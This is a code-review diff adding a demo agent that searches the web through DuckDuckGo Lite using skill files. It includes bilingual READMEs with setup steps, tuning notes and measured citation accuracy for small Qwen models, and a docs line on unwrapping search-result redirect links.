| 10 | + fetch_content(url: "https://lite.duckduckgo.com/lite/?q=WORDS", tables: "flatten") | |
| 11 | + | |
| 12 | +WORDS = 2 to 5 keywords of the question joined by `+` (e.g. `rust+async+runtime`). Nothing else in the url. | |
| 13 | + | |
| 14 | +Step 2. Each result is a title linked to the page, a short excerpt, and the page's address. Cite the page's own address, never a `duckduckgo.com` link. | |
| 15 | + | |
| 16 | +Step 3. If the excerpts do not answer the question, call fetch_content on ONE result's address to read the page. Only an address that appears in the results: never one you make up. | |
| 17 | + | |
| 18 | +Step 4. Answer ONLY from what you read, in the language of the question. Never invent a fact, a title or an address. If no result fits, say you found nothing. | |
| 19 | + | |
| 20 | +End the answer with the pages you used, one per line, as Markdown links — not numbers like [1]: | |
| 21 | + | |
| 22 | + Sources: | |
| 23 | + - [<title>](https://<address>) | |
| new file mode 100644 | |||
| @@ -0,0 +1,23 @@ | |||
| 1 | +--- | ||
| 2 | +name: web-search | ||
| 3 | +description: Search the internet with DuckDuckGo for current or specific information, then answer citing the pages. | ||
| 4 | +keywords: search, internet, web, recherche, chercher, trouver, find, look up | ||
| 5 | +--- | ||
| 6 | +# Search the web | ||
| 7 | + | ||
| 8 | +Step 1. Your NEXT reply is this tool call and nothing else — no text before it, no answer from memory: | ||
| 9 | + | ||
| 10 | + fetch_content(url: "https://lite.duckduckgo.com/lite/?q=WORDS", tables: "flatten") | ||
| 11 | + | ||
| 12 | +WORDS = 2 to 5 keywords of the question joined by `+` (e.g. `rust+async+runtime`). Nothing else in the url. | ||
| 13 | + | ||
| 14 | +Step 2. Each result is a title linked to the page, a short excerpt, and the page's address. Cite the page's own address, never a `duckduckgo.com` link. | ||
| 15 | + | ||
| 16 | +Step 3. If the excerpts do not answer the question, call fetch_content on ONE result's address to read the page. Only an address that appears in the results: never one you make up. | ||
| 17 | + | ||
| 18 | +Step 4. Answer ONLY from what you read, in the language of the question. Never invent a fact, a title or an address. If no result fits, say you found nothing. | ||
| 19 | + | ||
| 20 | +End the answer with the pages you used, one per line, as Markdown links — not numbers like [1]: | ||
| 21 | + | ||
| 22 | + Sources: | ||
| 23 | + - [<title>](https://<address>) | ||
added
demos/qwen-search/README.en.md +76 -0 | new file mode 100644 | ||
| @@ -0,0 +1,76 @@ | ||
| 1 | +# qwen-search — searching the web with skills, no MCP server | |
| 2 | + | |
| 3 | +*[French version](README.fr.md)* | |
| 4 | + | |
| 5 | +A research agent that searches the internet with **skills** and the built-in `fetch_content` tool only: no MCP server to start, no bash. It is the skill-based counterpart of [`demos/news-roundup`](../news-roundup/), which does its search through an MCP server (ticket 69). | |
| 6 | + | |
| 7 | +| | | | |
| 8 | +|---|---| | |
| 9 | +| Agent | `.mm/agent.yaml`, written by `mm init` (usage researcher), then tuned (see below) | | |
| 10 | +| Model | `unsloth/Qwen3.5-2B-GGUF:Q4_K_M` in the file; **`unsloth/Qwen3.5-4B-GGUF:Q4_K_M` recommended** (measured below) | | |
| 11 | +| Server | llamacpp, started by mm when nothing answers (`llamacpp.autoStart: true`) | | |
| 12 | +| Tools | `fetch_content`, `read_skill`, `save_answer` — no bash, no file editing, no `ask_user` | | |
| 13 | + | |
| 14 | +## The three skills | |
| 15 | + | |
| 16 | +| Skill | How it finds its pages | | |
| 17 | +|---|---| | |
| 18 | +| `web-search` | Reads DuckDuckGo's results page (`https://lite.duckduckgo.com/lite/?q=WORDS`), opens one result if the excerpts are not enough, answers with a `Sources:` list of links. | | |
| 19 | +| `news-roundup` | Same search with `+news`, then writes a press review from the excerpts alone, grouped by themes. | | |
| 20 | +| `wasm-knowledge` | **Does not search**: a catalogue of 12 trusted pages on WebAssembly is written in the skill (MDN, webassembly.org, the specification, wasi.dev, the Bytecode Alliance, Wasmtime, wazero, Wikipedia in French and English), each with what it covers. The model picks the page that fits the question, reads it, and cites it. To make one for another subject, copy the skill and change the table. | | |
| 21 | + | |
| 22 | +Each skill's first step is the exact `fetch_content` call to make, with one blank to fill (`WORDS`). A small model fills one blank; given a URL template with several parameters (`&kl=…&df=…`), Qwen3.5 2B joined them with `+` instead of `&`. | |
| 23 | + | |
| 24 | +## Run | |
| 25 | + | |
| 26 | +```bash | |
| 27 | +cd demos/qwen-search | |
| 28 | +../../mm -p "News roundup: electric cars" | |
| 29 | +../../mm -p "What is WASI and why does it matter for running WebAssembly outside the browser?" | |
| 30 | +../../mm -p "Cherche sur internet : quelle est la dernière version stable de Go ?" | |
| 31 | +../../mm # conversation (mm finds .mm/agent.yaml) | |
| 32 | +``` | |
| 33 | + | |
| 34 | +To use the recommended model, change `model:` in `.mm/agent.yaml` to `"unsloth/Qwen3.5-4B-GGUF:Q4_K_M"`; mm downloads it on the first start. | |
| 35 | + | |
| 36 | +## What changed after `mm init` | |
| 37 | + | |
| 38 | +- **`askUserTool: false`.** With `ask_user`, Qwen3.5 2B asked a question on a clear request ("News roundup: electric cars"), then wrote a roundup from memory, announced as "based on recent web results". | |
| 39 | +- **The system prompt says when to load a skill**, and that the model's own knowledge is months or years old. Without it, the 2B never called `read_skill`. | |
| 40 | +- **The skills are written one paragraph per line**, without line breaks inside a sentence. | |
| 41 | + | |
| 42 | +## A change to mm this demo needed | |
| 43 | + | |
| 44 | +DuckDuckGo links every result through a redirect (`https://duckduckgo.com/l/?uddg=<the address>&rut=…`). The models cited that link instead of the page: 9 of 9 links in one run. `fetch_content` now turns such a link into the address it points to (`internal/webmd`, `unwrapRedirect`): the title's link is the page itself. | |
| 45 | + | |
| 46 | +## Measured results | |
| 47 | + | |
| 48 | +Measured on 2026-11-24 with `mm -p`, in a Docker sandbox (Linux arm64, CPU), llama.cpp build 12359, `ctxSize: 16384`. "Cited links found" checks that every link of the answer appears in what `fetch_content` returned in that run. | |
| 49 | + | |
| 50 | +**Qwen3.5 4B** (12 runs, after the last skill changes for the last 4): | |
| 51 | + | |
| 52 | +| Case | Skill loaded | Search / pages read | Cited links found | Time | | |
| 53 | +|---|---|---|---|---| | |
| 54 | +| News roundup, English | ✅ news-roundup | 1 search | sources named as text, not links | 60 s | | |
| 55 | +| News roundup, French | ✅ | 1 search | 3/3 | 61 s | | |
| 56 | +| Web search: Linux distributions using zstd | ✅ web-search | search + 1 page | 1/1 | 193 s | | |
| 57 | +| Web search: latest Go version (French) | ✅ | search + go.dev/dl | 1/1 — "1.27.4" | — | | |
| 58 | +| WASI (English) | ✅ wasm-knowledge | wasi.dev, bytecodealliance.org | 2/2 | 103 s | | |
| 59 | +| Go runtimes for Wasm | ✅ | wazero.io, wasmtime.dev, bytecodealliance.org | 2/2 | 100 s | | |
| 60 | +| Who created WebAssembly, when (French) | ✅ | fr.wikipedia.org | 1/1 — Google and Mozilla, 2015 | 66 s | | |
| 61 | +| Component Model (French) | ✅ | the Component Model book (+ 2 of its sub-pages, outside the catalogue) | 1/1 | 225 s | | |
| 62 | + | |
| 63 | +Before "do NOT open the result pages" was added to `news-roundup`, the 4B opened every result (14 reads), ran out of turns, and tried Reuters addresses it made up. | |
| 64 | + | |
| 65 | +**Qwen3.5 2B** (the last runs of each skill, after the changes above): | |
| 66 | + | |
| 67 | +- `news-roundup`: 3 of 3 runs searched and cited only real results (27/27 links) once the URL had a single blank and the redirect links were unwrapped. | |
| 68 | +- `web-search`: 0 of 3 runs loaded the skill; it fetched an address it guessed (`golang.org`), or made up archlinux.org and gentoo.org URLs and retried them. | |
| 69 | +- `wasm-knowledge`: 2 of 4 runs right (wasi.dev, French Wikipedia); one loaded `news-roundup` instead, one skipped the skill. | |
| 70 | + | |
| 71 | +## Limits | |
| 72 | + | |
| 73 | +- **DuckDuckGo Lite returns pages, not dated articles.** A roundup lists news sites and section pages more than today's stories. The MCP server of `demos/news-roundup` uses DuckDuckGo News (`news.js`), which needs a per-query token that a skill cannot get with `fetch_content`. | |
| 74 | +- **`fetch_content` reads robots.txt**, and a site may refuse it; the skill then has the excerpts only. | |
| 75 | +- **The 2B is not reliable** for anything but the press review: use the 4B. | |
| 76 | +- The 4B is slow on a CPU (1 to 4 minutes a question here); on a Mac with Metal it is much faster. | |
| new file mode 100644 | |||
| @@ -0,0 +1,76 @@ | |||
| 1 | +# qwen-search — searching the web with skills, no MCP server | ||
| 2 | + | ||
| 3 | +*[French version](README.fr.md)* | ||
| 4 | + | ||
| 5 | +A research agent that searches the internet with **skills** and the built-in `fetch_content` tool only: no MCP server to start, no bash. It is the skill-based counterpart of [`demos/news-roundup`](../news-roundup/), which does its search through an MCP server (ticket 69). | ||
| 6 | + | ||
| 7 | +| | | | ||
| 8 | +|---|---| | ||
| 9 | +| Agent | `.mm/agent.yaml`, written by `mm init` (usage researcher), then tuned (see below) | | ||
| 10 | +| Model | `unsloth/Qwen3.5-2B-GGUF:Q4_K_M` in the file; **`unsloth/Qwen3.5-4B-GGUF:Q4_K_M` recommended** (measured below) | | ||
| 11 | +| Server | llamacpp, started by mm when nothing answers (`llamacpp.autoStart: true`) | | ||
| 12 | +| Tools | `fetch_content`, `read_skill`, `save_answer` — no bash, no file editing, no `ask_user` | | ||
| 13 | + | ||
| 14 | +## The three skills | ||
| 15 | + | ||
| 16 | +| Skill | How it finds its pages | | ||
| 17 | +|---|---| | ||
| 18 | +| `web-search` | Reads DuckDuckGo's results page (`https://lite.duckduckgo.com/lite/?q=WORDS`), opens one result if the excerpts are not enough, answers with a `Sources:` list of links. | | ||
| 19 | +| `news-roundup` | Same search with `+news`, then writes a press review from the excerpts alone, grouped by themes. | | ||
| 20 | +| `wasm-knowledge` | **Does not search**: a catalogue of 12 trusted pages on WebAssembly is written in the skill (MDN, webassembly.org, the specification, wasi.dev, the Bytecode Alliance, Wasmtime, wazero, Wikipedia in French and English), each with what it covers. The model picks the page that fits the question, reads it, and cites it. To make one for another subject, copy the skill and change the table. | | ||
| 21 | + | ||
| 22 | +Each skill's first step is the exact `fetch_content` call to make, with one blank to fill (`WORDS`). A small model fills one blank; given a URL template with several parameters (`&kl=…&df=…`), Qwen3.5 2B joined them with `+` instead of `&`. | ||
| 23 | + | ||
| 24 | +## Run | ||
| 25 | + | ||
| 26 | +```bash | ||
| 27 | +cd demos/qwen-search | ||
| 28 | +../../mm -p "News roundup: electric cars" | ||
| 29 | +../../mm -p "What is WASI and why does it matter for running WebAssembly outside the browser?" | ||
| 30 | +../../mm -p "Cherche sur internet : quelle est la dernière version stable de Go ?" | ||
| 31 | +../../mm # conversation (mm finds .mm/agent.yaml) | ||
| 32 | +``` | ||
| 33 | + | ||
| 34 | +To use the recommended model, change `model:` in `.mm/agent.yaml` to `"unsloth/Qwen3.5-4B-GGUF:Q4_K_M"`; mm downloads it on the first start. | ||
| 35 | + | ||
| 36 | +## What changed after `mm init` | ||
| 37 | + | ||
| 38 | +- **`askUserTool: false`.** With `ask_user`, Qwen3.5 2B asked a question on a clear request ("News roundup: electric cars"), then wrote a roundup from memory, announced as "based on recent web results". | ||
| 39 | +- **The system prompt says when to load a skill**, and that the model's own knowledge is months or years old. Without it, the 2B never called `read_skill`. | ||
| 40 | +- **The skills are written one paragraph per line**, without line breaks inside a sentence. | ||
| 41 | + | ||
| 42 | +## A change to mm this demo needed | ||
| 43 | + | ||
| 44 | +DuckDuckGo links every result through a redirect (`https://duckduckgo.com/l/?uddg=<the address>&rut=…`). The models cited that link instead of the page: 9 of 9 links in one run. `fetch_content` now turns such a link into the address it points to (`internal/webmd`, `unwrapRedirect`): the title's link is the page itself. | ||
| 45 | + | ||
| 46 | +## Measured results | ||
| 47 | + | ||
| 48 | +Measured on 2026-11-24 with `mm -p`, in a Docker sandbox (Linux arm64, CPU), llama.cpp build 12359, `ctxSize: 16384`. "Cited links found" checks that every link of the answer appears in what `fetch_content` returned in that run. | ||
| 49 | + | ||
| 50 | +**Qwen3.5 4B** (12 runs, after the last skill changes for the last 4): | ||
| 51 | + | ||
| 52 | +| Case | Skill loaded | Search / pages read | Cited links found | Time | | ||
| 53 | +|---|---|---|---|---| | ||
| 54 | +| News roundup, English | ✅ news-roundup | 1 search | sources named as text, not links | 60 s | | ||
| 55 | +| News roundup, French | ✅ | 1 search | 3/3 | 61 s | | ||
| 56 | +| Web search: Linux distributions using zstd | ✅ web-search | search + 1 page | 1/1 | 193 s | | ||
| 57 | +| Web search: latest Go version (French) | ✅ | search + go.dev/dl | 1/1 — "1.27.4" | — | | ||
| 58 | +| WASI (English) | ✅ wasm-knowledge | wasi.dev, bytecodealliance.org | 2/2 | 103 s | | ||
| 59 | +| Go runtimes for Wasm | ✅ | wazero.io, wasmtime.dev, bytecodealliance.org | 2/2 | 100 s | | ||
| 60 | +| Who created WebAssembly, when (French) | ✅ | fr.wikipedia.org | 1/1 — Google and Mozilla, 2015 | 66 s | | ||
| 61 | +| Component Model (French) | ✅ | the Component Model book (+ 2 of its sub-pages, outside the catalogue) | 1/1 | 225 s | | ||
| 62 | + | ||
| 63 | +Before "do NOT open the result pages" was added to `news-roundup`, the 4B opened every result (14 reads), ran out of turns, and tried Reuters addresses it made up. | ||
| 64 | + | ||
| 65 | +**Qwen3.5 2B** (the last runs of each skill, after the changes above): | ||
| 66 | + | ||
| 67 | +- `news-roundup`: 3 of 3 runs searched and cited only real results (27/27 links) once the URL had a single blank and the redirect links were unwrapped. | ||
| 68 | +- `web-search`: 0 of 3 runs loaded the skill; it fetched an address it guessed (`golang.org`), or made up archlinux.org and gentoo.org URLs and retried them. | ||
| 69 | +- `wasm-knowledge`: 2 of 4 runs right (wasi.dev, French Wikipedia); one loaded `news-roundup` instead, one skipped the skill. | ||
| 70 | + | ||
| 71 | +## Limits | ||
| 72 | + | ||
| 73 | +- **DuckDuckGo Lite returns pages, not dated articles.** A roundup lists news sites and section pages more than today's stories. The MCP server of `demos/news-roundup` uses DuckDuckGo News (`news.js`), which needs a per-query token that a skill cannot get with `fetch_content`. | ||
| 74 | +- **`fetch_content` reads robots.txt**, and a site may refuse it; the skill then has the excerpts only. | ||
| 75 | +- **The 2B is not reliable** for anything but the press review: use the 4B. | ||
| 76 | +- The 4B is slow on a CPU (1 to 4 minutes a question here); on a Mac with Metal it is much faster. | ||
added
demos/qwen-search/README.fr.md +76 -0 | new file mode 100644 | ||
| @@ -0,0 +1,76 @@ | ||
| 1 | +# qwen-search — chercher sur le web avec des skills, sans serveur MCP | |
| 2 | + | |
| 3 | +*[English version](README.en.md)* | |
| 4 | + | |
| 5 | +Un agent de recherche qui interroge internet avec des **skills** et le seul outil intégré `fetch_content` : aucun serveur MCP à lancer, pas de bash. C'est la version à skills de [`demos/news-roundup`](../news-roundup/), qui fait sa recherche par un serveur MCP (ticket 69). | |
| 6 | + | |
| 7 | +| | | | |
| 8 | +|---|---| | |
| 9 | +| Agent | `.mm/agent.yaml`, écrit par `mm init` (usage researcher), puis ajusté (voir plus bas) | | |
| 10 | +| Modèle | `unsloth/Qwen3.5-2B-GGUF:Q4_K_M` dans le fichier ; **`unsloth/Qwen3.5-4B-GGUF:Q4_K_M` recommandé** (mesures plus bas) | | |
| 11 | +| Serveur | llamacpp, démarré par mm quand rien ne répond (`llamacpp.autoStart: true`) | | |
| 12 | +| Outils | `fetch_content`, `read_skill`, `save_answer` — ni bash, ni édition de fichiers, ni `ask_user` | | |
| 13 | + | |
| 14 | +## Les trois skills | |
| 15 | + | |
| 16 | +| Skill | Comment elle trouve ses pages | | |
| 17 | +|---|---| | |
| 18 | +| `web-search` | Lit la page de résultats de DuckDuckGo (`https://lite.duckduckgo.com/lite/?q=MOTS`), ouvre un résultat si les extraits ne suffisent pas, répond avec une liste `Sources:` de liens. | | |
| 19 | +| `news-roundup` | Même recherche avec `+news`, puis écrit une revue de presse à partir des seuls extraits, regroupés par thèmes. | | |
| 20 | +| `wasm-knowledge` | **Ne cherche pas** : un catalogue de 12 pages de confiance sur WebAssembly est écrit dans la skill (MDN, webassembly.org, la spécification, wasi.dev, la Bytecode Alliance, Wasmtime, wazero, Wikipédia en français et en anglais), chacune avec ce qu'elle couvre. Le modèle choisit la page qui convient à la question, la lit et la cite. Pour un autre sujet, copiez la skill et changez le tableau. | | |
| 21 | + | |
| 22 | +La première étape de chaque skill est l'appel `fetch_content` exact à faire, avec un seul trou à remplir (`WORDS`). Un petit modèle remplit un trou ; avec un modèle d'URL à plusieurs paramètres (`&kl=…&df=…`), Qwen3.5 2B les a reliés par des `+` au lieu de `&`. | |
| 23 | + | |
| 24 | +## Lancer | |
| 25 | + | |
| 26 | +```bash | |
| 27 | +cd demos/qwen-search | |
| 28 | +../../mm -p "News roundup: electric cars" | |
| 29 | +../../mm -p "What is WASI and why does it matter for running WebAssembly outside the browser?" | |
| 30 | +../../mm -p "Cherche sur internet : quelle est la dernière version stable de Go ?" | |
| 31 | +../../mm # conversation (mm trouve .mm/agent.yaml) | |
| 32 | +``` | |
| 33 | + | |
| 34 | +Pour le modèle recommandé, mettez `model:` à `"unsloth/Qwen3.5-4B-GGUF:Q4_K_M"` dans `.mm/agent.yaml` ; mm le télécharge au premier démarrage. | |
| 35 | + | |
| 36 | +## Ce qui a changé après `mm init` | |
| 37 | + | |
| 38 | +- **`askUserTool: false`.** Avec `ask_user`, Qwen3.5 2B a posé une question sur une demande claire (« News roundup: electric cars »), puis a écrit une revue de mémoire, présentée comme « based on recent web results ». | |
| 39 | +- **Le prompt système dit quand charger une skill**, et que les connaissances du modèle datent de plusieurs mois ou années. Sans cela, le 2B n'appelait jamais `read_skill`. | |
| 40 | +- **Les skills sont écrites un paragraphe par ligne**, sans retour à la ligne au milieu d'une phrase. | |
| 41 | + | |
| 42 | +## Un changement de mm nécessaire à cette démo | |
| 43 | + | |
| 44 | +DuckDuckGo fait passer chaque résultat par une redirection (`https://duckduckgo.com/l/?uddg=<l'adresse>&rut=…`). Les modèles citaient ce lien au lieu de la page : 9 liens sur 9 dans un essai. `fetch_content` transforme désormais un tel lien en l'adresse vers laquelle il pointe (`internal/webmd`, `unwrapRedirect`) : le lien du titre est la page elle-même. | |
| 45 | + | |
| 46 | +## Résultats mesurés | |
| 47 | + | |
| 48 | +Mesurés le 24/11/2026 avec `mm -p`, dans un Docker Sandbox (Linux arm64, CPU), llama.cpp build 12359, `ctxSize: 16384`. « Liens cités retrouvés » vérifie que chaque lien de la réponse figure dans ce que `fetch_content` a renvoyé pendant cet essai. | |
| 49 | + | |
| 50 | +**Qwen3.5 4B** (12 essais ; les 4 derniers après les dernières corrections des skills) : | |
| 51 | + | |
| 52 | +| Cas | Skill chargée | Recherche / pages lues | Liens cités retrouvés | Durée | | |
| 53 | +|---|---|---|---|---| | |
| 54 | +| Revue de presse, anglais | ✅ news-roundup | 1 recherche | sources nommées en texte, pas en liens | 60 s | | |
| 55 | +| Revue de presse, français | ✅ | 1 recherche | 3/3 | 61 s | | |
| 56 | +| Recherche : distributions Linux qui utilisent zstd | ✅ web-search | recherche + 1 page | 1/1 | 193 s | | |
| 57 | +| Recherche : dernière version de Go (français) | ✅ | recherche + go.dev/dl | 1/1 — « 1.27.4 » | — | | |
| 58 | +| WASI (anglais) | ✅ wasm-knowledge | wasi.dev, bytecodealliance.org | 2/2 | 103 s | | |
| 59 | +| Runtimes Wasm pour Go | ✅ | wazero.io, wasmtime.dev, bytecodealliance.org | 2/2 | 100 s | | |
| 60 | +| Qui a créé WebAssembly, et quand (français) | ✅ | fr.wikipedia.org | 1/1 — Google et Mozilla, 2015 | 66 s | | |
| 61 | +| Component Model (français) | ✅ | le livre du Component Model (+ 2 de ses sous-pages, hors catalogue) | 1/1 | 225 s | | |
| 62 | + | |
| 63 | +Avant l'ajout de « do NOT open the result pages » dans `news-roundup`, le 4B ouvrait chaque résultat (14 lectures), épuisait ses tours, puis essayait des adresses Reuters inventées. | |
| 64 | + | |
| 65 | +**Qwen3.5 2B** (les derniers essais de chaque skill, après les changements ci-dessus) : | |
| 66 | + | |
| 67 | +- `news-roundup` : 3 essais sur 3 ont cherché et n'ont cité que des résultats réels (27/27 liens), une fois l'URL réduite à un seul trou et les liens de redirection dépliés. | |
| 68 | +- `web-search` : 0 essai sur 3 a chargé la skill ; il a lu une adresse devinée (`golang.org`), ou inventé des URL archlinux.org et gentoo.org qu'il a réessayées. | |
| 69 | +- `wasm-knowledge` : 2 essais justes sur 4 (wasi.dev, Wikipédia en français) ; un a chargé `news-roundup` à la place, un a sauté la skill. | |
| 70 | + | |
| 71 | +## Limites | |
| 72 | + | |
| 73 | +- **DuckDuckGo Lite renvoie des pages, pas des articles datés.** Une revue de presse liste des sites d'actualité et des rubriques plus que les articles du jour. Le serveur MCP de `demos/news-roundup` utilise DuckDuckGo News (`news.js`), qui demande un jeton par requête qu'une skill ne peut pas obtenir avec `fetch_content`. | |
| 74 | +- **`fetch_content` lit robots.txt**, et un site peut le refuser ; la skill n'a alors que les extraits. | |
| 75 | +- **Le 2B n'est fiable que pour la revue de presse** : utilisez le 4B. | |
| 76 | +- Le 4B est lent sur CPU (1 à 4 minutes par question ici) ; sur un Mac avec Metal il est bien plus rapide. | |
| new file mode 100644 | |||
| @@ -0,0 +1,76 @@ | |||
| 1 | +# qwen-search — chercher sur le web avec des skills, sans serveur MCP | ||
| 2 | + | ||
| 3 | +*[English version](README.en.md)* | ||
| 4 | + | ||
| 5 | +Un agent de recherche qui interroge internet avec des **skills** et le seul outil intégré `fetch_content` : aucun serveur MCP à lancer, pas de bash. C'est la version à skills de [`demos/news-roundup`](../news-roundup/), qui fait sa recherche par un serveur MCP (ticket 69). | ||
| 6 | + | ||
| 7 | +| | | | ||
| 8 | +|---|---| | ||
| 9 | +| Agent | `.mm/agent.yaml`, écrit par `mm init` (usage researcher), puis ajusté (voir plus bas) | | ||
| 10 | +| Modèle | `unsloth/Qwen3.5-2B-GGUF:Q4_K_M` dans le fichier ; **`unsloth/Qwen3.5-4B-GGUF:Q4_K_M` recommandé** (mesures plus bas) | | ||
| 11 | +| Serveur | llamacpp, démarré par mm quand rien ne répond (`llamacpp.autoStart: true`) | | ||
| 12 | +| Outils | `fetch_content`, `read_skill`, `save_answer` — ni bash, ni édition de fichiers, ni `ask_user` | | ||
| 13 | + | ||
| 14 | +## Les trois skills | ||
| 15 | + | ||
| 16 | +| Skill | Comment elle trouve ses pages | | ||
| 17 | +|---|---| | ||
| 18 | +| `web-search` | Lit la page de résultats de DuckDuckGo (`https://lite.duckduckgo.com/lite/?q=MOTS`), ouvre un résultat si les extraits ne suffisent pas, répond avec une liste `Sources:` de liens. | | ||
| 19 | +| `news-roundup` | Même recherche avec `+news`, puis écrit une revue de presse à partir des seuls extraits, regroupés par thèmes. | | ||
| 20 | +| `wasm-knowledge` | **Ne cherche pas** : un catalogue de 12 pages de confiance sur WebAssembly est écrit dans la skill (MDN, webassembly.org, la spécification, wasi.dev, la Bytecode Alliance, Wasmtime, wazero, Wikipédia en français et en anglais), chacune avec ce qu'elle couvre. Le modèle choisit la page qui convient à la question, la lit et la cite. Pour un autre sujet, copiez la skill et changez le tableau. | | ||
| 21 | + | ||
| 22 | +La première étape de chaque skill est l'appel `fetch_content` exact à faire, avec un seul trou à remplir (`WORDS`). Un petit modèle remplit un trou ; avec un modèle d'URL à plusieurs paramètres (`&kl=…&df=…`), Qwen3.5 2B les a reliés par des `+` au lieu de `&`. | ||
| 23 | + | ||
| 24 | +## Lancer | ||
| 25 | + | ||
| 26 | +```bash | ||
| 27 | +cd demos/qwen-search | ||
| 28 | +../../mm -p "News roundup: electric cars" | ||
| 29 | +../../mm -p "What is WASI and why does it matter for running WebAssembly outside the browser?" | ||
| 30 | +../../mm -p "Cherche sur internet : quelle est la dernière version stable de Go ?" | ||
| 31 | +../../mm # conversation (mm trouve .mm/agent.yaml) | ||
| 32 | +``` | ||
| 33 | + | ||
| 34 | +Pour le modèle recommandé, mettez `model:` à `"unsloth/Qwen3.5-4B-GGUF:Q4_K_M"` dans `.mm/agent.yaml` ; mm le télécharge au premier démarrage. | ||
| 35 | + | ||
| 36 | +## Ce qui a changé après `mm init` | ||
| 37 | + | ||
| 38 | +- **`askUserTool: false`.** Avec `ask_user`, Qwen3.5 2B a posé une question sur une demande claire (« News roundup: electric cars »), puis a écrit une revue de mémoire, présentée comme « based on recent web results ». | ||
| 39 | +- **Le prompt système dit quand charger une skill**, et que les connaissances du modèle datent de plusieurs mois ou années. Sans cela, le 2B n'appelait jamais `read_skill`. | ||
| 40 | +- **Les skills sont écrites un paragraphe par ligne**, sans retour à la ligne au milieu d'une phrase. | ||
| 41 | + | ||
| 42 | +## Un changement de mm nécessaire à cette démo | ||
| 43 | + | ||
| 44 | +DuckDuckGo fait passer chaque résultat par une redirection (`https://duckduckgo.com/l/?uddg=<l'adresse>&rut=…`). Les modèles citaient ce lien au lieu de la page : 9 liens sur 9 dans un essai. `fetch_content` transforme désormais un tel lien en l'adresse vers laquelle il pointe (`internal/webmd`, `unwrapRedirect`) : le lien du titre est la page elle-même. | ||
| 45 | + | ||
| 46 | +## Résultats mesurés | ||
| 47 | + | ||
| 48 | +Mesurés le 24/11/2026 avec `mm -p`, dans un Docker Sandbox (Linux arm64, CPU), llama.cpp build 12359, `ctxSize: 16384`. « Liens cités retrouvés » vérifie que chaque lien de la réponse figure dans ce que `fetch_content` a renvoyé pendant cet essai. | ||
| 49 | + | ||
| 50 | +**Qwen3.5 4B** (12 essais ; les 4 derniers après les dernières corrections des skills) : | ||
| 51 | + | ||
| 52 | +| Cas | Skill chargée | Recherche / pages lues | Liens cités retrouvés | Durée | | ||
| 53 | +|---|---|---|---|---| | ||
| 54 | +| Revue de presse, anglais | ✅ news-roundup | 1 recherche | sources nommées en texte, pas en liens | 60 s | | ||
| 55 | +| Revue de presse, français | ✅ | 1 recherche | 3/3 | 61 s | | ||
| 56 | +| Recherche : distributions Linux qui utilisent zstd | ✅ web-search | recherche + 1 page | 1/1 | 193 s | | ||
| 57 | +| Recherche : dernière version de Go (français) | ✅ | recherche + go.dev/dl | 1/1 — « 1.27.4 » | — | | ||
| 58 | +| WASI (anglais) | ✅ wasm-knowledge | wasi.dev, bytecodealliance.org | 2/2 | 103 s | | ||
| 59 | +| Runtimes Wasm pour Go | ✅ | wazero.io, wasmtime.dev, bytecodealliance.org | 2/2 | 100 s | | ||
| 60 | +| Qui a créé WebAssembly, et quand (français) | ✅ | fr.wikipedia.org | 1/1 — Google et Mozilla, 2015 | 66 s | | ||
| 61 | +| Component Model (français) | ✅ | le livre du Component Model (+ 2 de ses sous-pages, hors catalogue) | 1/1 | 225 s | | ||
| 62 | + | ||
| 63 | +Avant l'ajout de « do NOT open the result pages » dans `news-roundup`, le 4B ouvrait chaque résultat (14 lectures), épuisait ses tours, puis essayait des adresses Reuters inventées. | ||
| 64 | + | ||
| 65 | +**Qwen3.5 2B** (les derniers essais de chaque skill, après les changements ci-dessus) : | ||
| 66 | + | ||
| 67 | +- `news-roundup` : 3 essais sur 3 ont cherché et n'ont cité que des résultats réels (27/27 liens), une fois l'URL réduite à un seul trou et les liens de redirection dépliés. | ||
| 68 | +- `web-search` : 0 essai sur 3 a chargé la skill ; il a lu une adresse devinée (`golang.org`), ou inventé des URL archlinux.org et gentoo.org qu'il a réessayées. | ||
| 69 | +- `wasm-knowledge` : 2 essais justes sur 4 (wasi.dev, Wikipédia en français) ; un a chargé `news-roundup` à la place, un a sauté la skill. | ||
| 70 | + | ||
| 71 | +## Limites | ||
| 72 | + | ||
| 73 | +- **DuckDuckGo Lite renvoie des pages, pas des articles datés.** Une revue de presse liste des sites d'actualité et des rubriques plus que les articles du jour. Le serveur MCP de `demos/news-roundup` utilise DuckDuckGo News (`news.js`), qui demande un jeton par requête qu'une skill ne peut pas obtenir avec `fetch_content`. | ||
| 74 | +- **`fetch_content` lit robots.txt**, et un site peut le refuser ; la skill n'a alors que les extraits. | ||
| 75 | +- **Le 2B n'est fiable que pour la revue de presse** : utilisez le 4B. | ||
| 76 | +- Le 4B est lent sur CPU (1 à 4 minutes par question ici) ; sur un Mac avec Metal il est bien plus rapide. | ||
modified
docs/en/reference/tools.md +1 -0 | @@ -219,6 +219,7 @@ Declared only with `fetchContentTool: true`. Downloads a web page and returns it | ||
| 219 | 219 | | Encoding | In order: byte-order mark, `charset` of the `Content-Type` header, `<meta charset>` or `<meta http-equiv="Content-Type">` in the first 4 KiB, UTF-8 if the bytes are valid UTF-8, else `windows-1252`. An unknown name is skipped. The content is converted to UTF-8. | |
| 220 | 220 | | Removed | `script`, `style`, `noscript`, `template`, `meta`, `link`, `base`, `title`, `svg`, `canvas`, `iframe`, `object`, `embed`, `nav`, `aside`, `dialog`, `button`, `select`, `textarea`, inputs other than checkboxes, a `footer` outside `article`/`main`, HTML comments, ARIA roles `navigation` `banner` `complementary` `search` `contentinfo` `dialog`, `aria-hidden="true"`, `hidden`, class/id words `ad` `ads` `advert` `sponsor` `promo` `cookie` `consent` `gdpr` `newsletter` `subscribe` `popup` `modal` `share` `social` `breadcrumb` `nav` `navbar` `navigation` `menu` `sidebar` `skiplink` (and a few variants), classes `sr-only` `visually-hidden` `screen-reader-text`. An element matched by class/id is kept when it contains `main`, `article` or `h1`. | |
| 221 | 221 | | Attributes | All removed except `a[href]`, `img[src,alt]`, `td/th[colspan,rowspan]`, `ol[start]`, `input[type,checked]`, and the `language-*`/`lang-*` words of a `pre`/`code` class. | |
| 222 | +| Search result links | A DuckDuckGo result link (`https://duckduckgo.com/l/?uddg=<address>&rut=…`, the lite and html result pages) becomes the address it points to, so a model citing a result cites the page itself. Only an absolute `http`/`https` target is taken; any other link is left as is. | | |
